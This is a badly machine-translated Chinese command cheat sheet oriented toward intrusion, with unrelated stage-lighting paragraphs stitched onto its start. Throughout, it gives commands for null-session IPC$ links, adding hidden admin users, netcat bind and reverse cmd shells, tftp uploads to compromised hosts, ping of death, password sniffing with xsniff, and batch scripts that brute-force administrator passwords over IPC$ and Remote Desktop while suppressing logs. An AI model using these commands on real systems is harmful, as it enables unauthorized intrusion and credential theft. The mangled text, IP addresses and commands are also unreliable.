4. Speed. .

Although the movement patterns of speed will affect the projection effect, but also to pay attention to the pattern pieces and dynamic design pattern piece itself, too tight or too sparse to effect will be affected.

5. Color. .

CMY color mixing system with choice of lamps, dynamic pattern round the projection effect can achieve smooth colour changes will also be more choice, Martin's MAC 2000 Performance is one example. In addition, in the light refraction, this system will make a color gradient, dynamic patterns more three-dimensional sense (especially using more than one second to color filter).


















































net use \ \ ip \ ipc $ "" / user: "" the establishment of air links IPC. .

Net use \\ip\ipc $ "password"/user: "user name" to establish links to IPC non-empty.

net use h: \ \ ip \ c $ "password" / user: "username" each other directly after landing map C: to the local as H:. .

Net use h: \\ip\c $ landing maps each other C: to a local h:.

net use \ \ ip \ ipc $ / del to delete IPC link. .

Net use h:/del delete mapped to local h: mapping.

net user username password / add create a user. .

Net user guest/active: yes to activate the guest user.

net user view which user. .

Net user account name to view account properties.

net localgroup administrators username / add "user" to the Manager to have administrator privileges, pay attention: administrator, add s in the plural. .

Net start view which services are turned on.

net start service name to open services; (such as: net start telnet, net start schedule). .

Net stop to stop a service name for the service.

net time \ \ target ip see each other time. .

Net time \\ destination IP/set set local computer time and the "destination IP" host time synchronization, plus parameters/yes may cancel confirmation information.

net view See what the local LAN to open sharing. .

Net view \\ip view each other's intranet which shared is turned on.

net config display system network settings. .

Net logoff disconnected shared.

net pause service were suspended a service. .

Net send ip "text message" to send a message to the other party.

net ver LAN is using the network connection type and information. .

Net share viewing local open sharing.

net share ipc $ to open ipc $ share. .

Net share ipc $ ipc $ share/del delete.

net share c $ / del to delete C: share. .

Net user guest user login with guest 12345 after the password is changed to 12345.

net password password change the system login password. .

Netstat-a view on which port, commonly used netstat-an. ..

netstat-n view-port network connectivity, often used netstat-an. .

Netstat-v view the work in progress.

netstat-p protocol were patients with: netstat-p tcq / ip view the use of a protocol (see tcp / ip protocol usage). .

Netstat-s see all protocol usage.

nbtstat-A ip each other from 136 to 139 of them opened a port, then you can see each other last logged in user name (user name before 03) - Note: The parameter-A to be capitalized. .

Tracert-parameter of the ip (or computer) to track the route (packet), parameters: "-w Digital" is used to set the timeout interval.

ping ip (or domain name) to the other host to send the default size of 32 bytes of data, parameters: "-l [space] packet size"; "-n number of times to send data"; "-t" that has been ping. .

Ping-t-l 65550 ip ping of death (send a file larger than 64 k and ping became a ping of death).

ipconfig (winipcfg) for windows NT and XP (windows 95 98) see the local ip address, ipconfig available parameters "/ all" shows all the configuration information. .

Tlist-t to tree row list displays processes (additional tools for the system, the default is not installed, the installation directory of Support/tools folder).

kill-F-F parameters of the process were added after the end of a mandatory process (for the system of additional tools, the default is not installed, the installation directory of Support / tools folder). .

Del-F filename-F parameter to remove the read-only files, and/AR,/AH/AA represent/AS, remove the read-only, hidden, system, archive files,/A-R,/A-H,/A-S/A-A represents delete, read-only, hidden, system, archive files outside. For example "DEL/AR *. *" means delete the current directory and all read-only file, the "DEL/A-S *. *" means delete the current directory in addition to the system files to all files.

del / S / Q directory or use: rmdir / s / Q catalog / S delete the directory and all subdirectories under directories and files. At the same time using the parameter / Q cancel the delete operation of the system confirm the direct deletion. (2 commands the same effect). .

Move letter \ paths/file storage you want to move, move the path to the file after the move is to move the file name/file, use the/y parameter will suppress the confirmation of the same file in mobile directory exists with respect to direct coverage of the tip.

fc one. . Txt two. . Txt> 3st. . Txt file comparing two and the difference output to 3st. . Txt file, ">" and ">>" is a redirection command. .

At ID number to open a registered a scheduled task.

at / delete to stop all scheduled tasks, with the parameter / yes you do not need to confirm directly to stop. .

At ID/delete stop a scheduled task has already been registered.

View all programs at the task. .

At \\ip time program name (or a command)/r at any particular time running each other a program and then restart the computer.

finger username @ host see which users have recently landed. .

Telnet ip port and login server, the default port 23.

open ip to connect to the IP (telnet landed an order). .

Telnet in a native type telnet will enter native Telnet.

copy path \ file name a path \ filename 2 / y copy file 1 to the specified directory as a file 2, with the parameter / y to confirm the cancellation of an existing directory you want to overwrite files. .

Copy c:\srv. .exe \\ip\admin $ copy local c:\srv. .exe to admin under.

cppy 1st. . Jpg / b +2 st. . Txt / a 3st. . Jpg will 2st. . Txt to hide the contents of the 1st. . Jpg generated 3st. . Jpg new file, Note: 2st. . Txt file to be empty the first three rows, arguments: / b refers to binary file, / a means ASCLL format. .

Copy \\ip\admin $ c:\ \svv. .exe or: copy\\ip\admin $ \ *.. * copy each other admini $ share of srv. .exe files (all files) to the local C:.

xcopy to copy the file or directory tree destination address \ directory name to copy files and directory tree, with the parameter / Y will not be prompted to overwrite the same file. .

Tftp-I own IP (meat machine when it is used as a springboard for meat machine IP) server .exe c:\server get.. .exe after landing, the "IP server." to the target host to download .exe c:\server. .exe parameters:-I mean transfer in binary mode, such as transfer when the exe file, such as no-I in ASCII mode (transport-text mode) delivery.

tftp-i other IP put c: \ server. . Exe after landing, upload the local c: \ server. . Exe to the host. .

Ip ports used for ftp to upload files to the server or to a file, the default port is 21. Bin-binary mode transfer (executable files); the default is transmitted in ASCII format (text files).

route print shows IP routing, network address will be the main show Network addres, subnet mask, Netmask, Gateway Address Gateway addres, Interface Address Interface. .

To view and manipulate arp ARP cache, ARP is name resolution, is responsible for an IP resolution into a physical MAC address. Arp-a all information will be displayed.

start the program name or command / max or / min to open a new window and maximize (minimize) to run a program or command. .

Mem to view cpu usage.

attrib file name (directory name) to view a file (directory) of the property. .

Attrib filename-A-R-S-H or + A + R + S + H to remove the (add) a file archive, read-only, system, and hidden attributes; + is added as a property.

dir view the file, arguments: / Q display file and directory is a system which the user, / T: C display the file creation time, / T: A display file last accessed time, / T: W was modified last time. .

Time/t date/t, use this parameter, the "T", DATE/TIME/T "," will only display the current date and time without having to enter a new date and time.

set the specified environment variable name = to be assigned to the variable character set environment variables. .

Set display all environment variables.

set p (or other characters) to show the current character p (or other characters) at the beginning of all the environment variables. .

Pause, suspend the batch program and displays: press any key to continue.

if the conditions in a batch processing program implementation (more help see if the command and variable). .

Goto label will be guided to the cmd. .exe in a batch program line with label (label must be a separate line, and a colon, such as: "start" label:).

call path \ batch file name from the batch program to call another batch program (for more explanation see call /?). .

For a set of files for each file to perform a specific command (see instructions for commands and variables).

echo on or off to open or close the echo, just echo without parameters shows the current echo setting. .

Echo information in the information displayed on the screen.

echo information>> pass. . Txt to "information" Save to pass. . Txt file. .

Findstr "Hello" in aa aa. .txt. searching for strings in .txt file hello.

find the file name to find a particular file. .

Title title name change CMD window title name.

color color value set cmd console foreground and background color; 0 = black, 1 = blue, 2 = green, 3 = light green, 4 = red 5 = purple 6 = yellow 7 = white 8 = gray, 9 = light blue, A = light green, B = pale light green, C = light red, D = purple, E = yellow, F = white. .

Prompt cmd .exe name change. display of the command prompt (C:\, D:\ unified read: EntSky\).

print file name to print text files. .

Ver a DOS window under display version information.

winver pop up a window display version information (memory size, system version, patch version, computer name). .

Format letter/FS: types of formatting a disk, type: FAT, FAT32, NTFS Format, for example: D:/FS: NTFS.

md directory name to create the directory. .

Replace the source file you want to replace the files in the directory, replace the file.

ren of the original file name new file name, rename the file name. .

Tree to tree structure showing the directory, use the parameter-f will list the folders in the file name.

type the file name to display text file contents. .

More file-by-screen displays the output file.

doskey to lock the command = characters. .

Doskey to unlock command = DOS supplied lock command (Edit command line, recall commands, and create win2k macro). Such as: lock dir command: doskey dir = entsky (you cannot use doskey dir = dir); unlock: doskey dir =.

taskmgr bring up the Task Manager. .

Chkdsk/F D D: check disk and displays a status report, together with the/f parameter and repairing disk errors.

tlntadmn telnt service admn, type tlntadmn choose 3, then select 8, you can change the default port 23, telnet service to any other port. .

Exit quit the cmd .exe programs or present!,/B parameter is out of the current batch script instead of cmd. .exe.

path path \ executable file called an executable file to set a path. .

Cmd to start a shell window on win2K. Parameters:/eff,/en close, open command extensions; more detailed instructions see I cmd/?.

regedit / s Registry file name into the registry; parameter / S means the import in quiet mode, without any prompts;. .

Regedit/e registry export registry file.

cacls filename parameter to display or modify file access control list (ACL) - for the NTFS format. Parameters: / D User: set rejection of a user access; / P User Name: perm Replace specified user's access rights; / G username: perm gives the specified user access rights; Perm can be: N None, R Read, W Write, C Change (write), F Full Control; cases: cacls D: \ test. . Txt / D pub set d: \ test. .Txt deny user access to the pub.

cacls filename users view the file access permissions list. .

REM text content in the batch file to add the note.

netsh view or change the local network configuration. .

IIS service command:.

iisreset / reboot reboot win2k computer (but the system will restart prompt message appears). .

Iisreset/start or stop to start (stop), all Internet services.

iisreset / restart to stop and then restart all Internet services. .

Iisreset/status display all Internet service status.

iisreset / enable or disable the local system to enable (disable) Internet service restart. .

Iisreset/rebootonerror when start, stop, or restart Internet services if occurred error will reboot.

iisreset / noforce If you can not stop the Internet service, will not force the termination of Internet services. .

Iisreset/timeout Val reaches over time (seconds), it still does not stop Internet services, if you specify/rebootonerror parameter, the computer will reboot. The preset value is 20 seconds to reboot, stop 60 seconds, the power of 0 seconds.

FTP command: (details behind the content). .

Ftp command line format:.

ftp-v-d-i-n-g [host name]-v shows all the remote servers response information. .

-D debug mode.

-N limit ftp automatic login, which does not use. . Netrc file. .

-G cancelled the global file.

help [command] or? [Command] See the command description. .

Bye or quit terminate host FTP process and exits FTP management methods.

pwd lists the current remote host directory. .

Put or send local filename [upload to host name] will be a local file transfer to remote host.

get or recv [remote host file name] [file after download to the local name] from the remote host sent to the local host. .

Mget [remote-files] from the remote host receives a batch of files to the local host.

mput local-files to the local host in a number of documents sent to the remote host. .

Dir or ls [remote-directory] [local-file] lists the current remote host files in a directory. If there is a local file, write the result to a local file.

ascii transmission settings to ASCII files (default value). .

Bin or image set to binary mode transfer.

Each completed a file transfer bell, alarm. .

Cdup back one level in the directory.

Interrupt close the session with the remote ftp server (and open for). .

Open host [port] establishes the specified ftp server connections, you can specify the connection port.

delete delete files in the remote host. .

Mdelete [remote-files] to delete a batch file.

mkdir directory-name to create a directory in the remote host. .

Rename [from] [to] to change the file name of the remote host.

rmdir directory-name Delete the remote host in the directory. .

Status displays the current status of FTP.

display the remote host system type system. .

User user-name [password] [account] again to another user logs on a remote host.

open host [port] to re-establish a new connection. .

Prompt interactive prompt mode.

macdef defined macro command. .

Lcd change current working directory of the local host, if you default, they go to the current user's HOME directory.

chmod change file permissions of the remote host. .

Case when on MGET command, a copy of the file name to the local machine, converted to lowercase.

cd remote-dir into the remote host directory. .

Cdup enter a remote host directory's parent directory.

! In the local machine in the implementation of the interactive shell, exit back to ftp the environment, such as! Ls *. . Zip. .

MYSQL command:.

mysql-h host address-u username-p password to connect MYSQL; If you have just installed MYSQL, super-user root no password. .

(Example: mysql-h110. .110. .110. .110-Uroot-P123456.

Note: u and the root can not have spaces, the other is the same). .

Exit to exit MYSQL.

mysqladmin-u username-p password old password new password change password. .

Grant select on the database. * username @ sign to the host identified by password \ "\"; adding new users. (Note: the above, the following because the commands in the MYSQL environment, followed by a semicolon as a command terminator).

show databases; display the list of databases. At first only two databases: mysql and test. mysql database MYSQL inside it is very important system information, we change the password and add users actually use this library to operate. .

use mysql； 。.

show tables; display in the library table. .

Describe table name; to display the structure of data tables.

create database database name; building a database. .

Use the library name;.

create table table name (field set list); construction of the table. .

Drop database library name;.

drop table table name; deletion library and delete the table. .

Delete from table name; to be empty records in the table.

select * from table name; display records in the table. .

Mysqldump--opt .bbb school > school.: back up a database (command in the DOS directory under implemented \\mysql\\bin); Note: the database backup to school school school .bbb file.. .bbb is a text file, the file name as, open and see your new discovery.

win2003 under the new command system (practical part):. .

Shutdown/turn off or restart parameter to a local or remote host.

Parameter Description: / S turned off, / R restart the host, / T digital set delay time, the range of 0 to 180 seconds, / A cancellation boot, / M / / IP specified remote host. .

Case study: shutdown/r/t 0 immediately restart the local host (no delay).

taskill / parameters of the process name or process pid to terminate one or more tasks and processes. .

Parameter description:/PID to terminate a process pid, the tasklist command available for each process pid, the process of/IM to terminate a process name,/F Force terminate the process terminates the specified process/T and he initiated the child process.

tasklist shows currently running on the local and remote host processes, services, processes the process identifier (PID). .

Description: the/M parameter lists the current process to load the DLL,/SVC shows each process the corresponding service, no parameters will only list the current process.

Linux systems basic commands: To case sensitive. .

Uname display version information (with win2K's ver).

dir displays the current directory files, ls-al shows, including hidden files (with win2K the dir). .

Pwd queries the directory location.

cd cd. . Back to the parent directory, pay attention to cd and. . Between the spaces. cd / to return to the root directory. .

Cat filename to view the contents of the file.

cat> abc. . Txt to abc. . Txt file, write content. .

More filename to a page one page displays a text file.

cp copy files. .

Mv move files.

rm file name to delete files, rm-a directory name to delete directory and subdirectories. .

Mkdir directory build directory.

rmdir remove directory, directory, there is no documentation. .

Chmod settings file or directory access permissions.

grep to find strings in files. .

Diff files in the file comparison.

find file search. .

Date the date, time, now.

who query the current and you are using the same machine time and place of the person and Login. .

W query current details of the computer.

whoami view their own account name. .

Groups see someone's Group.

passwd change the password. .

History view of himself.

ps Show process status. .

Kill a process to stop.

gcc hackers often use it to compile the C language to write the file. .

Su permission is converted to the specified users.

telnet IP telnet to connect the other host (with win2K), when there bash $ description when a successful connection. .

Ftp server ftp connection (with win2K).

Appendix: Batch command and variable. .

1: for orders and basic format: a variable.

FOR / parameter% variable IN (set) DO command [command_parameters]% variable: Specify a single letter replaceable parameters, such as:% i, and specify a variable is used:%% i, and call the variables used:% i % variables are case-sensitive (% i is not equal to% I). .

Batch each can handle variable from% 0 – 9%, of which 10% 0 default to use a batch file,% 1, the default is to use the batch input of the first value, for the same reason:% 2% 9 refers to the input of 2-9 a value; for example: net use \\ip\ipc $ pass/user: user IP%1 to% 2, pass, the user is% 3.

(Set): specify one or a set of documents, you can use wildcards, such as: (D: \ user.. Txt), and (11254) (1-1254 ),{"( 11254) "section a "1" means the initial value, the second "1" means the growth in volume, the third "254" means the end of the value, that is: from 1 to 254; "(1-1254)" Description: from 254 to 1). .

Command: specify the command to execute a file, such as net use command; if you want to perform multiple commands, the command for the add: segregates & to.

command_parameters: specify the parameters for a specific command or command line switch. .

IN (set): means (set) DO command in value;: perform command.

Parameters: / L refers to the incremental form of ((set) for the incremental form of the time); / F refers to values from the file constantly, until the completion to take up ((set) for the file, such as (d: \ pass.. txt) time). .

Usage example:.

@ Echo off. .

Echo Usage: .bat test. *. *. *... .txt > test.

for / L%% G in (1 1 254) do echo% 1. .%% G>> test. . Txt & net use \ \% 1. .%% G / user: administrator | find "command completed successfully">> test. . Txt. .

As a test. .bat Description: the specified a class c IP network segments to 254 in turn try to establish the administrator password blank IPC $ connection, if success is to test the IP exists. .txt.

/ L refers to the incremental form (that is, from 1-254 or 254-1); enter the IP in front of three: *. .*. The default for the batch .*% 1;%% G for the variable (ip of the last one); & echo and net use to separate these two orders; | refers to the establishment of the ipc $ after the find in the results using see if there is "command completed successfully" message;% 1. .%% G for the complete IP address; (11254) means a start value, an increase of volume, end ending value. .

@echo off 。.

echo Use format: ok. . Bat ip. .

FOR /F %%i IN (D:\user。.dic) DO smb。.exe %1 %%i D:\pass。.dic 200 。.

Save as: ok. . Exe Description: Enter an IP, use the dictionary file d: \ pass. . Dic violent solution to d: \ user. . Dic the user password in the value until the documents obtained last. %% I for the user name;% 1 for the input of the IP address (default). .

2: if the basic formatting commands and variables:.

IF [not] errorlevel number command to run if the last statement returns a number equal to or greater than the specified exit code, a specified condition is "true." .

Example: IF errorlevel 0 command refers to a program execution after the returned value is 0, the value of the command line; IF not errorlevel 1 command refers to a program to perform the final return value is not equal to 1, the following command.

0 means the discovery and successful implementation of the (true); 1 means not found, no implementation of the (false). .

IF [not] string string 1 == 2 command statement if the specified text strings match (that is, 1 is equal to the string: string 2), the following command.

Cases: "if"% 2 %"==" 4 "goto start" means: If you enter the second variable is 4, the implementation of the back of the command (Note: when calling the variable name%% variable and add "") . .

IF [not] exist filename command statement if the specified file name exists, the following command.

Cases: "if not nc.. Exe goto end" means: If you did not find nc. . Exe files on the jump ": end" label. .

IF [not] errorlevel number command statement else statement or command IF [not] string string 1 == 2 command statement else statement or command IF [not] exist filename command statement else command statement plus: else command statement refers to the current surface conditions when it refers to the line following the else command. Note: if else must be on the same line. When del command needs to use the entire contents of the command del <> enclosed as a separate line to when the del command to run, and use <> after the other was a single line; for example: "if exist test.. Txt..


Else echo .missing .txt. test. "" in that order... ".

(B) of the system external command (required to download the related tools):. .

1, Victorinox: nc. .exe.

Parameters:. .

-H view help information.

-D background mode. .

-E prog program redirects, but the connection on the implementation of [risk].

-I secs delay interval. .

-L listening mode for inbound connections.

-L listen mode, the connection to continue even after days of close monitoring until the CTR + C. .

-N IP addresses, domain names can not be used.

-O film record of 16-band transmission. .

-P [space] port local port number.

-R random local and remote port. .

-T interact using Telnet.

-U UDP mode. .

-V verbose output, use the-vv in more detail.

-W timeout delay interval numbers. .

-Z switch off the input, output (used to sweep the anchor).

Basic Usage:. .

Nc-nvv .168.192. .0 .1 Connect 80.192. .0 .1 .168.. host-port 80.

nc-l-p 80 to open the machine's TCP 80 port and listens. .

Nc-nvv-w2-z .0 .168.192.. .1 sweep anchor 80-1024.192. .0 .1 .168.-1024 port 80.

nc-l-p 5354-t-ec: winntsystem32cmd. . Exe remote host cmdshell bind the TCP 5354 port in the remote. .

Nc-t-e c:winntsystem32cmd. 192. .168 .exe. .0. .2 5354 coconut palm set remote host cmdshell and reverse connection .168.192. .0. .2 of 5354 port.

Advanced Usage:. .

Nc-L-p 80 as the honeypot with 1: open and non-stop listening on port 80, until the CTR + C..

nc-L-p 80> c: \ log. . Txt as a honeypot with 2: open and keep listening on port 80, until the CTR + C, while the output to c: \ log. . Txt. .

nc -L -p 80 < c:\honeyport。.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到ctr+c,并把c:\honeyport。.txt中内容送入管道中，亦可起到传送文件作用 。. c:\honeyport。.txt="" 作为蜜罐用3-1：开启并不停地监听80端口，直到ctr+c,并把c:\honeyport。.txt中内容送入管道中，亦可起到传送文件作用="">

type. . Exe c: \ honeyport | nc-L-p 80 as a honey pot with 3-2: open and keep listening on port 80, until the CTR + C, and the c: \ honeyport. . Txt into the pipeline of content can also play a role in transmission of documents. .

This machine is used: nc-l-p native port.

With the other host: nc-e cmd. . Exe native IP-p local port * win2K. .

Nc-e/bin/sh native IP-port * p native linux, unix reverse connection break each other host firewall.

The machine used: nc-d-l-p local-port
In the other host: nc-vv native IP native ports > storage file path and name to transfer files to other hosts.

Notes:. .

| Pipe command.

< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

Behind the implementation of @ @ that order, but does not display (background execution); cases: @ dir c: \ winnt>> d: \ log. . Txt means: background execution dir, and the results exist d: \ log. . Txt in. .

> And > > difference ">" means: coverage; "> >" means: Save (add to).

Such as: @ dir c: \ winnt>> d: \ log. . Txt and @ dir c: \ winnt> d: \ log. . Txt command to execute the second two more to see: with ">> The second is the result of both preserved and used:> the only one of the results because the results of a second covered the first . .

2, sweep the anchor tool: xscan. .exe.

Basic format. .

xscan -host 。.


<起始IP>[-. .


<终止IP>] 。.


<检测项目>[Other options] sweep anchor "Start IP to end IP" section of all the host information. .

xscan -file 。.


<主机列表文件名> <检测项目>[Other options] sweep anchor "Host IP list file name" all the host information. .

Detection project.

-Active testing whether the survival of the host. .

-Os detection remote operating system type (via NETBIOS and SNMP protocol).

-Port detection of commonly used services of the port state. .

-Detection of weak passwords ftp FTP.

-Pub detect anonymous users write access to FTP services. .

-Detection of weak passwords POP3-Server pop3.

-Smtp test SMTP-Server vulnerability. .

-Detection of weak password sql SQL-Server.

-Smb detected NT-Server weak password. .

-Iis detects IIS encoding/decoding vulnerability.

CGI test-cgi vulnerability. .

Nessus nasl-attack script is loaded.

All of the above-all test items. .

Other options.

-I adapter number to set the network adapter,. .


<适配器编号>Available through the "-l" parameter gets.

-L displays all network adapters. .

-V display detailed scanning progress.

-P skip the host is not responding. .

-O skip does not detect open ports on the host.

-T number of concurrent threads, the number of concurrent host specifies the maximum number of concurrent threads and the number of concurrent host, the default number is 100,10. .

-Log file name specify the scan report file name (suffix: TXT or HTML file).

Usage examples. .

Xscan-host .168.192.. .1 .1-.168.192. .255. .255-all-active-p test .168.192.. .1 .1-.168.192. .255. .255 segment all the vulnerabilities within the host, skip the non-responding host.

xscan-host 192. .168. .1. .1-192. .168. .255. .255-Port-smb-t 150-o test 192. .168. .1. .1-192. .168. .255. .255 Standard network segment host port status, NT weak password user, the maximum number of concurrent threads is 150, not detected open ports to skip the host. .

Xscan-file .txt-hostlist. port-cgi-t 200-v-o detection ".txt" hostlist. file lists all of the host State, the standard port for CGI vulnerability, and the maximum number of concurrent threads to 200, maximum detection 5 host, display detailed testing progress, skip does not detect open ports on the host.

3, the command line sniffer: xsniff. . Exe. .

You can capture the LAN FTP/SMTP/POP3/HTTP protocol.

Parameter Description. .

-Tcp output TCP datagram.

Output-udp UDP datagrams. .

-Icmp ICMP datagram output.

-Pass filter password information. .

-Hide running in the background.

-Host to resolve host names. .

-Addr IP address filtering IP addresses.

-Port port port filtering. .

-Log file name to save the output to a file.

-Asc ASCII format to the output. .

-Hex to hexadecimal form output.

Usage examples. .

Xsniff. .exe-pass-hide-log .log pass. sniff passwords are running in the background and password information is stored in the .log file pass. ..

xsniff. . Exe-tcp-udp-asc-addr 192. .168. .1. .1 Sniffer 192. .168. .1. Tcp and udp .1 and filter information and to ASCII format output. .

4, Terminal Services, password cracking: tscrack. .exe.

Parameter Description. .

-H display the help.

-V Display version information. .

-S in the screen shot decryption capability.

-B password error sound. .

-T is making multiple connections (multithreading).

-N Prevent System Log entries on targeted server. .

-U to uninstall removes tscrack components.

Use-f-f behind the password. .

-F interval (frequency).

-L-l behind the use of user name. .

-W use-w Password dictionary, later.

Behind the use of-p-p password. .

Main page-D logon.

Usage examples. .

192. tscrack. .0 .1 .168. administrator-w-l-pass password dictionary remotely .dic file Flash broken host administrator password.

tscrack 192. .168. .0. .1-L administrator-p 123456 123456 remote login with a password 192. .168. .0. .1 The administrator user. .

@if not exist ipcscan。.txt goto noscan 。.

@ For / f "tokens = 1 delims ="%% i in (3389.. Txt) do call hack. . Bat%% i. .

nscan 。.

@ Echo 3389. . Txt no find or scan faild. .

(① as. 3389. .bat) (assuming existing SuperScan or other scanning anchor for sweep to a batch of open 3389 host IP list file 3389. .txt).

3389. . Bat means: from 3389. . Txt file, take a IP, then run the hack. . Bat. .

@if not exist tscrack。.exe goto noscan 。.

@ Tscrack% 1-l administrator-w pass. . Dic>> rouji. . Txt. .

:noscan 。.

@ Echo tscrack. . Exe no find or scan faild. .

(② as .bat hack.) (Run .bat to 3389. OK, and 3389. .bat, .bat, 3389 hack.. .txt and .dic and tscrack pass.. .exe in the same directory; you can wait for the results).

hack. . Bat means: Run tscrack. . Exe sharp break with the dictionary 3389. . Txt all the host of the administrator password, and break the results stored in rouji. . Txt file. .

5. other:.

Shutdown. . Exe. .

Shutdown \\IP address t:20 20 seconds after the other automatically shuts down NT (Windows 2003 system comes with tools that use under Windows2000 you'll have to download this tool can be used. In the previous Windows 2003 DOS command is described in detail. ） 。.

fpipe. . Exe (TCP port redirection tool) is described in detail in the second (port redirection to bypass firewall). .

Fpipe-l 80-s 1029-r www. 80. .com .cn .sina. when someone scanning anchor your port 80, he swept into the result completely www. .com .cn .sina.. host information.

Fpipe-l 23-s 88-r 23 target IP to the machine to the target IP request sent by the Telnet port 23, port redirection, the port to send to the target by 88 to 23 IP ports. (With the target IP to establish Telnet to use when the machine is connected with 88 ports) and then: Direct Telnet 127. .0. .0. .1 (Local IP) and even received a target IP-23 port. .

OpenTelnet. .exe (remote open telnet tool).

opentelnet. . Exe \ \ IP account password ntlm authentication Telnet port (no need to upload ntlm.. Exe damaged Microsoft authentication method) direct the remote to open the other side of the telnet service, can use telnet \ \ ip connection on each other. .

NTLM authentication mode: 0: do not use NTLM authentication; 1: first try NTLM authentication if it fails, then use the user name and password; 2: only use NTLM authentication.

ResumeTelnet. . Exe (OpenTelnet with another tool). .

Resumetelnet. .exe \\IP account password after using Telnet connection to each other, you use this command to restore the Telnet settings of each other, and at the same time close Telnet.

6, FTP command Xiangjie:. .

The FTP command is the most frequent Internet users use one of the commands, familiar and flexible application of the internal FTP command, you can greatly facilitate the users, and to receive. If you want to learn how to use FTP to download in the background, you must learn to FTP instructions.

FTP command line format:. .

Ftp-v-d-I-n-g [host name].

-V display all of the remote server to respond to information;. .

-N limit FTP log on automatically, that is, do not use; file; .n. etrc.

-D Use debugging mode;. .

-G cancelled the global file.

FTP uses an internal command is as follows (in brackets indicate option):. .

1..! [Cmd [args]]: on the local machine to perform interactive shell, exit back to the ftp environment, such as:! ls *. .zip.

2. . $ Macro-ame [args]: implementation of the macro definition of macro-name. .

3. .account [password]: provided after a successful login to the remote system to access the system resources required to add a password.

4. . Append local-file [remote-file]: Append a local file to the remote system host, if no file name specified remote system, use the local file name. .

5. .ascii: use ascii transfer mode type.

6. . Bell: After each command the computer beep once. .

7. .bin: use the binary file transfer mode.

8. . Bye: exit the ftp session process. .

9. .case: use mget, the remote host name in uppercase letters to lowercase letters.

10. . Cd remote-dir: enter the remote host directory. .

11. enter a remote host .cdup: directory's parent directory.

12. . Chmod mode file-name: the file-name remote host file access mode set to mode, such as: chmod 777 a. . Out. .

13. .close: interrupted and the remote server's ftp session (and the corresponding open).

14. . Cr: transfer files using asscii way, it will be converted to carriage return line feed back line. .

15. .delete remote-file: delete the remote host.

16. . Debug [debug-value]: set the debug mode, showing each to send commands to the remote host, such as: deb up 3, if set to 0, said the cancellation of debug. .

17. .dir [remote-dir] [local-file]: displays the remote host, directory, and the results are stored in a local file.

18. . Disconnection: the same close. .

19. .form file transfer format: the format, the default is the file mode.

20. . Get remote-file [local-file]: the remote host's file remote-file transmitted to the local hard disk of the local-file. .

21. .glob: set mdelete, mget, file name extensions, mput default file name is not extended, the same command line-g parameter.

22. . Hash: 1024 bytes per transmission, display a hash sign (#). .

23. .help [cmd]: show internal command cmd ftp help information, such as: get help.

24. . Idle [seconds]: remote server, set the sleep timer [seconds] seconds. .

25. .image: set binary transmit mode (binary).

26. . Lcd [dir]: switch to the local working directory dir. .

27. .ls [remote-dir] [local-file]: displays the remote directory remote-dir and stored in the local file local-file.

28. . Macdef macro-name: define a macro, the next encounter macdef empty row, the end of the macro definition. .

29. .mdelete [remote-file]: delete the remote host.

30. . Mdir remote-files local-file: with dir like, but can specify multiple remote files, such as: mdir *. . O. .*. . Zipoutfile. .

31. .mget remote-files: multiple remote file transfer.

32. . Mkdir dir-name: in the remote host in the construction of a catalog. .

33. .mls remote-file local-file: with nlist, but you can specify multiple file names.

34. . Mode [modename]: the file transfer mode is set to modename, the default mode for the stream. .

35. .modtime file-name: displays the remote hosts file last modification time.

36. . Mput local-file: multiple file transfer to remote host. .

37. .newer file-name: If the remote machine file-name modification time of a file with the same name than your local hard disk is closer in time, then retransmit the file.

38. . Nlist [remote-dir] [local-file]: Display the remote host directory of the file list and into your local hard disk of the local-file. .

39. .nmap [inpattern outpattern]: set the filename mapping mechanism that allows file transfer, file, convert some characters, such as: nmap $ 1. $ 2. $ 3 [$ 1, $ 2]. [$ 2, $ 3], the transport file a1. .a2. .a3, a1, a2 becomes the file name. This command is particularly applicable to the remote host for non-UNIX machine.

40. . Ntrans [inchars [outchars]]: set file name character translation mechanism, such as ntrans1R, the file name LLL will become RRR. .

41. .open host [port]: to establish a connection to the specified ftp server, you can specify the connection port.

42. . Passive: to enter the passive transmission. .

43. .prompt: setting up multiple file transfers when the interactive prompt.

44. . Proxy ftp-cmd: in the secondary control connection, execute a ftp command, which allows to connect the two ftp servers to transfer files between two servers. The first ftp command must be open, to first establish the connection between the two servers. .

45. .put local-file [remote-file]: local-file local files to the remote host.

46. . Pwd: display current working directory of the remote host. .

47. .quit: bye, quit with the ftp session.

48. . Quote arg1, arg2. .: Verbatim parameter sent to the remote ftp server, such as: quote syst. .

49. .recv remote-file [local-file]: get together.

50. . Reget remote-file [local-file]: similar to get, but if local-file exists, the last transmission from the left off the resume. .

51. .rhelp [cmd-name]: request for help for the remote host.

52. . Rstatus [file-name]: If you do not specify a file name, then display the status of the remote host, or display the file status. .

53. .rename [from] [to]: change the file name of the remote host.

54. . Reset: Clear answer queue. .

55. .restart marker from the specified flag marker, start get or put, such as: restart 130.

56. . Rmdir dir-name: Remove the remote host directory. .

57. .runique: set the file name only one storage, if the file exists, the original file with the suffix .1, .2... ".

58. . Send local-file [remote-file]: with the put. .

59. .sendport: set the use of PORT commands.

60. . Site arg1, arg2. .: The SITE command parameters as sent to the remote ftp host verbatim. .

61. .size file-name: displays the file size of a remote host, such as: site idle 7200.

62. . Status: Displays the current status of ftp. .

63. .struct [struct-name]: the file transfer structure is set to use the default struct-name stream structure.

64. . Sunique: remote host file name is stored is set to only one (corresponding with the runique). .

65. .system: displays the operating system type of the remote host.

66. . Tenex: the file transfer type to TENEX machines of the type required. .

67. .tick: set bytes counter when it travels.

68. . Trace: setting package tracking. .

69. .type [type-name]: set the file transfer type is ascii, the default is type-name, such as: type binary, binary transfer mode is set.

70. . Umask [newmask]: remote server's default umask is set to newmask, such as: umask 3. .

71. .user user-name [password] [account]: to the remote host to indicate their identity, requires a password, you must enter a password, such as user anonymous email my @.

72. . Verbose: with the-v command line parameters that set the detailed reporting, ftp server, all responses will be displayed to the user, the default is on. .

73..? [Cmd]: with the help.

7: The Complete Works of winver --------- computer running the command checks Windows version. .

Wmimgmt. .msc--open windows Management architecture.

wupdmgr -------- windows update. .

Winver---------check the version of Windows.

wmimgmt. . Msc ---- open the windows management architecture. .

Wupdmgr--------windows updates.

wscript -------- windows scripting host. .

Write----------WordPad winmsd---the system info.

wiaacmgr ------- Scanner and Camera Wizard. .

Winchat--------XP comes with LAN chat.

mem. . Exe -------- Display memory usage. .

Msconfig. .exe---the system configuration utility.

mplayer2 ------- Simple widnows media player. .

Mspaint--------paint.

mstsc ---------- Remote Desktop Connection. .

